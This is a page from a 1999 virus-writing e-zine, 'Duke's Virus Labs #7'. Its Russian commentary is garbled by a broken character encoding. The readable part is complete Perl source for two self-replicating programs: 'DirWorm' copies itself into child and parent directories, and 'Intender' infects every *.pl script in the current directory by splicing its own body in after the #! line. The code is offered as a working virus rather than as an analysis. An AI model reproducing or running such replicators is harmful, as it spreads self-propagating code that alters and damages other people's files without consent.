- [Duke's Virus Labs #7] - [Page 23] -

ଥ   ૥
(c) by -Byst-

         ࠧ뢠  ⮩ ⥬   訫 ।  ⥫
  DVL.    ⥬    ⮩    ⠫  ଥ  . 
  ᪠,  ᭠砫  ⢥  ਠ⮬       ᠭ 
  Java,    ⭮⥫쭮 ᫮ ᯮᮡ ࠦ ⠢  ⢥
    ,      .  饩  ⥣ਥ  ᮢ 室 
  ଥ        ࠦ  室.  
  ᫮,      *nix'    ᭮    ++  ᫨  
  Ansi  C,            DOS    *nix.    ᫨  
  ⥫⢮,        *nix  筮  ࠭    室
  ⥪,    ᮢ  쬠 娥 蠭  릨.
     ,          㯠         ,      
  ଥ  (        !  )       ॠ樨 
  ⢮  (᫨    ) *nix', OS/2, Windows95/NT   DOS. 
      ᭮   ᪥ ணࠬ  ⥪ ணࠬ
    ७     ⮫쪮 ⮬ 믮 . . ணࠬ - 
  ⥪⮢ 䠩   ⮬ ⢥ 頥 楤 ஢.
         ᮡ⢥        DirWorm    Intender.  
  ࠧ    ,    ,  ᥡ  த⥫᪨
  ⠫     ⠫.  ன -  䠩 *.pl (ண  ૥)
    ⥪饩  ४ਨ      ᢮  ⥫  ᠬ 砫 , .
    ⠪ ⮡ ⥫  ᯮ﫮    ᯮ﫮(᫨
   ⥪  ணࠬ    窠  稭    "#!",    ᯮ
  稭   ).
----------------------------Cut here: DirWorm --------------------------------

# DirWorm by -Byst- (c) 1999
while (<*>)                     # 饬  䠩  ⥪饩 ४ਨ
{
  if (chdir($_)) {              # ᫨  ४ - ᬥ ⥪  
   @command = ("cp ../worm.pl ./worm.pl > /dev/null");
   system @command;             # 맮 ⥬ 㭪樨 ஢ 䠩
   chdir("..");                 # 頥 ⭮  砫 ४
  }
}
@command = ("cp ./worm.pl ../worm.pl");
system @command;                # 㥬 ⥫  த⥫ ४
----------------------------End Cut: DirWorm ---------------------------------

----------------------------Cut here: Intender -------------------------------
#here virus starts
# Intender by -Byst- (c) 1999
$source = __FILE__;              #  ⠪饣 䠩
while (<*.pl>)
{
  $name = $_;                    #  䠩-
  $cname = crypt($name,$name);   #  ஬筮 䠩

  # ஢ਬ  ஢  㦥 䠩?

  open(TARGET,"<$name");         # ⢠
  $allready_infected = 0;
  while (<TARGET>) {
   if (index($_,"\x23 Intender by -Byst- (c) 1999") == 0)
    { $allready_infected = 1;}   # 㦥 ஢!
  }
  close(TARGET);
  if ($allready_infected == 1 )
   { next;}                      # 室  ᫥饩 ⢥

  # ஢ਬ,    ⥫  ப ⨯ !/usr/bin/perl
  open(TARGET,"<$name");         # ⢠
  $flag = 0;
  while (<TARGET>) {
   if (index($_,"\x23!") == 0)   # 諨 ⠪ ப
    { $flag = 1;}                #  䫠
  }
  close(TARGET);

  #    ன ᮤন 맮 楤 ஢
  open(TARGET,"<$name");         # ⢠
  open(FBUF,">$cname");          # ஬ 䠩

  if ($flag == 1) {              #    祭 砫 ணࠬ?
   while (<TARGET>) {            # 饬 
    print(FBUF);                 # ࠭塞  ப   #!
    if (index($_,"\x23!") == 0 ) # ,   砫 ணࠬ
      { last;}
   }
  }

  # 饬 ⥫ 楤
  $_ = "\n";print(FBUF);
  open(SOURCE,"<$source");       # ⠪騩 䠩
  while(<SOURCE>) {              # 饬 ਧ 砫 - "#here virus starts"
   if (index($_,"\x23here virus starts") == 0) { last;}
  }
  print(FBUF);
  #  ⥪ 楤 -> ஬ 䠩
  while (<SOURCE>) {
   print(FBUF);
   if (index($_,"\x23here virus ends") == 0) { last;}
  }
  close(SOURCE);
  $_ = "\n";print(FBUF);
  # ⠢   -> ஬ 䠩
  while (<TARGET>) {
   print(FBUF);
  }
  close(TARGET);
  close(FBUF);
  rename($cname,$name);
}
#here virus ends
----------------------------End Cut: Intender -------------------------------

 PS. ⢥,  ⥫  -  ,    ஡
  ࠧ⥫  ப.  ࠢ      ૠ  *nix'
ࠢ쭮   ⨫ 0xOD,0xOA   NT - ᮢ ⨫ OA, ࠢ
祣  ⮬ ᫥   ᪠   ૠ  OS/2.
⮬ १  ⢥ ࠧ⥫ ப ᯮ짮 unix-style,
.. 0xOA.
